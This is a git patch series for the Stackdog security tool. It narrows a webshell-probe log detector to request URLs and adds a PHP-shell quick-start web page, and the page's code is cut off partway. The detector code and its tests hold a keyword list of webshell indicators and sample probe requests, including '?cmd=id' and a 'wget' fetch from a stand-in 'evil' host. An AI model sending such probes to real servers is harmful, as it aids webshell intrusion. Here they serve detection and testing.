From 3139ff71f8860c76c0fa6c375415b7c70add7464 Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Sat, 31 Oct 2026 16:12:35 +0200 Subject: [PATCH 1/4] fix(detectors): match webshell probes in the request URL only web.webshell-probe looked for its indicators anywhere in a log line. In stacker's agent request logs, "c99" sits inside x-request-id hex (b1dac994f229), so agent long-polls raised a webshell alert and an offense. The detector now reads the extracted request: a cmd/exec/shell parameter, a shell or downloader in the URL, or a path segment named after c99/r57. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 8 ++++ src/detectors/mod.rs | 87 +++++++++++++++++++++++++++++++++++++------- 2 files changed, 81 insertions(+), 14 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ee5abc1..2a1bbb9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -20,6 +20,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 Running in Docker, mount the host read-only and set `STACKDOG_HOST_ROOT`. Extra signatures load from JSON (`STACKDOG_PHPSHELL_SIGNATURES`). +### Fixed + +- `web.webshell-probe` matched its indicators anywhere in a log line, so `c99` + inside a request id or token in stacker's agent request logs raised a + webshell alert and an offense. It now reads the request URL only: a + `cmd`/`exec`/`shell` parameter, a shell or downloader in the URL, or a path + segment named after c99/r57. + ## [0.2.6] - 2026-10-27 ### Fixed diff --git a/src/detectors/mod.rs b/src/detectors/mod.rs index 0239ed4..32bcce0 100644 --- a/src/detectors/mod.rs +++ b/src/detectors/mod.rs @@ -18,6 +18,7 @@ use serde::{Deserialize, Serialize}; pub use self::audits::ContainerPosture; use self::audits::{ConfigAssessmentMonitor, DockerPostureMonitor, PackageInventoryMonitor}; +use self::http_request::{extract_request, HttpRequest}; use self::integrity::FileIntegrityMonitor; use self::ml::MlBehavioralDetector; use self::php_shell::{PhpShellAccessDetector, PhpShellOptions, PhpShellScanner, ScanRoot}; @@ -362,20 +363,17 @@ impl LogDetector for WebshellProbeDetector { } fn detect(&self, entries: &[LogEntry]) -> Vec { - let matches = matching_entries( - entries, - &[ - "cmd=", - "exec=", - "shell=", - "powershell", - "/bin/sh", - "wget http", - "curl http", - "c99", - "r57", - ], - ); + // The URL only. Matched anywhere in the line, `c99` hit the hex of + // request ids and bearer tokens in stacker's agent request logs, and + // this detector bans. + let matches: Vec<&LogEntry> = entries + .iter() + .filter(|entry| { + extract_request(&entry.line) + .map(|request| probes_webshell(&request)) + .unwrap_or(false) + }) + .collect(); if matches.is_empty() { return Vec::new(); @@ -393,6 +391,25 @@ impl LogDetector for WebshellProbeDetector { } } +/// A command parameter (`?cmd=id`), a shell or downloader in the URL, or a +/// request for a known shell by name (`/c99.php`, `/r57shell.php`). +fn probes_webshell(request: &HttpRequest) -> bool { + let command_parameter = request.query.split('&').any(|pair| { + let name = pair.split('=').next().unwrap_or_default(); + pair.contains('=') && matches!(name, "cmd" | "exec" | "shell") + }); + let target = format!("{}?{}", request.path, request.query).replace('+', " "); + let command_in_url = contains_any( + &target, + &["powershell", "/bin/sh", "wget http", "curl http"], + ); + let known_shell = request + .path + .split('/') + .any(|segment| segment.starts_with("c99") || segment.starts_with("r57")); + command_parameter || command_in_url || known_shell +} + impl LogDetector for ExfiltrationHeuristicDetector { fn id(&self) -> &'static str { "exfiltration.egress-heuristic" @@ -938,4 +955,46 @@ mod tests { assert!(contains_aws_access_key("AKIAABCDEFGHIJKLMNOP")); assert!(!contains_aws_access_key("AKIAshort")); } + + fn webshell_probe_findings(line: &str) -> Vec { + WebshellProbeDetector.detect(&[LogEntry { + source_id: "test".into(), + timestamp: chrono::Utc::now(), + line: line.into(), + metadata: HashMap::new(), + }]) + } + + #[test] + fn test_webshell_probe_ignores_stacker_agent_request_log() { + // The line from the false alarm: `c99` sits in the x-request-id hex. + let line = r#"2026-10-27T09:07:55.623595+00:00 dev stacker[2392813]: {"v":0,"name":"stacker","msg":"[AUTHENTICATE AGENT VIA X-AGENT-ID AND BEARER TOKEN - START]","level":30,"target":"stacker::middleware::authentication::method::f_agent","req":"\nServiceRequest HTTP/1.1 GET:/api/v1/agent/commands/wait/deployment_120254c6-598e-47a1-83ca-690840edd906\n query: ?\"timeout=10\"\n headers:\n \"x-request-id\": \"6c26477f-51b2-4133-9c58-b1dac994f229\"\n \"host\": \"dev.stacker.try.direct\"\n"}"#; + assert!(webshell_probe_findings(line).is_empty()); + } + + #[test] + fn test_webshell_probe_matches_the_url_only() { + for target in [ + "/x.php?cmd=id", + "/x.php?a=1&exec=uname", + "/c99.php", + "/up/r57shell.php", + "/x.php?q=wget+http://evil/x", + "/cgi-bin/x?run=%2Fbin%2Fsh", + ] { + let line = format!( + r#"203.0.113.9 - - [31/Oct/2026:10:00:00 +0000] "GET {target} HTTP/1.1" 404 5 "-" "x""# + ); + assert_eq!(webshell_probe_findings(&line).len(), 1, "{target}"); + } + + for line in [ + // Indicators outside the URL: user agent, referrer, no request. + r#"198.51.100.7 - - [31/Oct/2026:10:00:00 +0000] "GET /index.php HTTP/1.1" 200 5 "https://x/?cmd=1" "curl http-client""#, + r#"Oct 31 10:00:00 host CRON[1]: (root) CMD (/bin/sh /etc/backup.sh)"#, + r#"198.51.100.7 - - [31/Oct/2026:10:00:00 +0000] "GET /assets/app.c99a1f.js?xcmd=1 HTTP/1.1" 200 5 "-" "x""#, + ] { + assert!(webshell_probe_findings(line).is_empty(), "{line}"); + } + } } From 38272b8e88324790b4a90ad061a409befc146ecd Mon Sep 17 00:00:00 2001 From: Vasili Pascal Date: Sat, 31 Oct 2026 16:12:35 +0200 Subject: [PATCH 2/4] docs(website): add a PHP shell quick start page Install with one curl command, write recommended settings to /etc/stackdog/stackdog.env, run stackdog serve under systemd, and check detection with an inert test file. Linked from the detection page, footer and sitemap. Co-Authored-By: Claude Opus 5.5 --- website/app/php-shell-detection/page.tsx | 12 +- website/app/php-shell-quickstart/page.tsx | 332 ++++++++++++++++++++++ website/app/sitemap.ts | 6 + website/components/Footer.tsx | 5 + 4 files changed, 350 insertions(+), 5 deletions(-) create mode 100644 website/app/php-shell-quickstart/page.tsx diff --git a/website/app/php-shell-detection/page.tsx b/website/app/php-shell-detection/page.tsx index 01893ea..4132208 100644 --- a/website/app/php-shell-detection/page.tsx +++ b/website/app/php-shell-detection/page.tsx @@ -267,13 +267,13 @@ export default function PhpShellDetectionPage() { the addresses that use them.

- - Set it up + Quick start - + STACKDOG_PHPSHELL_PATHS. PHP containers are found on their own, by name or image, or by a volume mounted at a docroot. Mounted docroots are read at their host source and docroots baked into the image through the overlay filesystem. Running - in Docker, Stackdog reads both through a read-only mount of the host. + in Docker, Stackdog reads both through a read-only mount of the host. For a plain server, + the quick start{' '} + has the install command, recommended settings and a systemd unit.

diff --git a/website/app/php-shell-quickstart/page.tsx b/website/app/php-shell-quickstart/page.tsx new file mode 100644 index 0000000..9c06c38 --- /dev/null +++ b/website/app/php-shell-quickstart/page.tsx @@ -0,0 +1,332 @@ +import type { Metadata } from 'next'; +import Link from 'next/link'; +import { ArrowRight, ShieldAlert } from 'lucide-react'; +import CopyButton from '@/components/CopyButton'; +import { getSiteUrl } from '@/lib/config'; +import { buildDocsStructuredData, toJsonLd } from '@/lib/structured-data'; + +const PAGE_PATH = '/php-shell-quickstart'; + +const installCommand = + 'curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash'; + +const envCommand = `sudo install -d -m 700 /etc/stackdog /var/lib/stackdog +sudo tee /etc/stackdog/stackdog.env > /dev/null <<'EOF' +# API and dashboard backend: this machine only +APP_HOST=127.0.0.1 +APP_PORT=5000 +DATABASE_URL=/var/lib/stackdog/stackdog.db + +# PHP shell detection +STACKDOG_PHPSHELL_ENABLED=true +STACKDOG_PHPSHELL_PATHS=/var/www +# Access logs the bans are read from. Paths that do not exist are skipped. +STACKDOG_LOG_SOURCES=/var/log/nginx/access.log,/var/log/apache2/access.log,/var/log/httpd/access_log + +# Bans: 5 offenses in 5 minutes, banned for 30 minutes +STACKDOG_IP_BAN_ENABLED=true +STACKDOG_IP_BAN_MAX_RETRIES=5 +STACKDOG_IP_BAN_FIND_TIME_SECS=300 +STACKDOG_IP_BAN_BAN_TIME_SECS=1800 +STACKDOG_IP_BAN_MAX_PER_MINUTE=10 +STACKDOG_IP_BAN_PROTECT_LOCAL_IPS=true +# Ban on deterministic detectors only, not on free-text analyzer findings +STACKDOG_IP_BAN_FROM_AI_FINDINGS=false +# Never ban these: your office or VPN, uptime checks, load balancer, CDN +STACKDOG_IP_BAN_ALLOWLIST= + +# Alerts (the instance name defaults to the hostname) +STACKDOG_NOTIFICATION_MIN_SEVERITY=high +#STACKDOG_SLACK_WEBHOOK_URL=https://hooks.slack.com/services/... +EOF`; + +const serviceCommand = `sudo tee /etc/systemd/system/stackdog.service > /dev/null <<'EOF' +[Unit] +Description=Stackdog Security +After=network-online.target docker.service +Wants=network-online.target + +[Service] +EnvironmentFile=/etc/stackdog/stackdog.env +WorkingDirectory=/var/lib/stackdog +ExecStart=/usr/local/bin/stackdog serve +Restart=on-failure + +[Install] +WantedBy=multi-user.target +EOF +sudo systemctl daemon-reload +sudo systemctl enable --now stackdog`; + +const testCommand = `# A harmless file that carries a known shell marker. It exits before doing anything. +sudo mkdir -p /var/www/html/wp-content/uploads +echo ' /dev/null + +# One sniff pass is 30 seconds +sleep 40 +curl -s http://127.0.0.1:5000/api/alerts | grep -o 'PHP shell indicators in [^"(]*' + +# Clean up +sudo rm /var/www/html/wp-content/uploads/stackdog-test.php`; + +const dailyCommands = `sudo stackdog firewall list # who is banned right now +sudo stackdog unban 203.0.113.9 # release a ban +sudo stackdog ban-ip 203.0.113.9 --duration 24h --reason "webshell use" +curl -s http://127.0.0.1:5000/api/alerts # alerts as JSON +sudo journalctl -u stackdog -f # service log`; + +const settingRows = [ + ['APP_HOST=127.0.0.1', 'The API has no login of its own. Keep it off the public interface; reach it over SSH or a VPN.'], + ['STACKDOG_PHPSHELL_PATHS=/var/www', 'The host web roots to scan. Add every docroot you serve, comma-separated. PHP containers are found on their own.'], + ['STACKDOG_LOG_SOURCES', 'Bans come from access-log lines, and host web server logs are not discovered automatically. List yours.'], + ['STACKDOG_IP_BAN_MAX_RETRIES=5 / FIND_TIME_SECS=300', 'An attacker who keeps using a shell is banned within a few minutes; one stray request never bans anyone.'], + ['STACKDOG_IP_BAN_BAN_TIME_SECS=1800', 'Bans lift by themselves after 30 minutes, so a mistake costs half an hour, not a lost customer.'], + ['STACKDOG_IP_BAN_FROM_AI_FINDINGS=false', 'Start with bans from deterministic detectors only. Turn analyzer bans on once you have watched the alerts for a while.'], + ['STACKDOG_IP_BAN_ALLOWLIST', 'Put anything here whose ban would take you down: office and VPN addresses, uptime monitors, load balancers.'], + ['STACKDOG_NOTIFICATION_MIN_SEVERITY=high', 'Shell findings are High or Critical. Lower-severity posture findings stay in the dashboard instead of your inbox.'] +] as const; + +const faqEntries = [ + { + question: 'My site is behind Cloudflare or another proxy. Is that a problem?', + answer: + 'It is, until the access log records the real client. If nginx logs the proxy address, Stackdog would ban the proxy and with it every visitor. Configure real_ip (nginx) or mod_remoteip (Apache) first, or put the proxy ranges in STACKDOG_IP_BAN_ALLOWLIST.' + }, + { + question: 'My PHP sites run in Docker. Does this still work?', + answer: + 'Yes. Running on the host, Stackdog finds PHP containers through the Docker socket and scans the docroots mounted into them. Container logs are discovered without any setting. If you run Stackdog itself in Docker, see the Compose setup on the detection page.' + }, + { + question: 'Will it delete the shell?', + answer: + 'No. It alerts on the file and bans the addresses using it. Removing the file and finding how it got there stays with you; the detection page has a runbook.' + }, + { + question: 'Which release do I need?', + answer: + 'PHP shell detection ships in the first release after v0.2.6. The installer picks the latest release by default.' + } +]; + +export const metadata: Metadata = { + title: 'PHP Webshell Protection Quick Start', + description: + 'Install Stackdog with one curl command and protect a PHP server from webshells: recommended settings, a systemd service, and a safe test.', + keywords: [ + 'PHP webshell protection', + 'install webshell scanner', + 'WordPress webshell scanner', + 'ban webshell attackers', + 'Stackdog Security' + ], + alternates: { + canonical: PAGE_PATH + }, + openGraph: { + title: 'Protect a PHP server from webshells in five minutes', + description: 'One curl command, one settings file, one service. Stackdog finds PHP shells and bans the clients using them.', + url: getSiteUrl() + PAGE_PATH + }, + twitter: { + title: 'Protect a PHP server from webshells in five minutes', + description: 'One curl command, one settings file, one service. Stackdog finds PHP shells and bans the clients using them.' + } +}; + +function CodeSample({ code, label }: { code: string; label: string }) { + return ( +
+
+

{label}

+ +
+
+        {code}
+      
+
+ ); +} + +function Step({ + number, + title, + children, + code, + label +}: { + number: number; + title: string; + children: React.ReactNode; + code: string; + label: string; +}) { + return ( +
  • +
    + Step {number} +

    {title}

    +
    {children}
    +
    +
    + +
    +
  • + ); +} + +export default function PhpShellQuickstartPage() { + return ( +
    +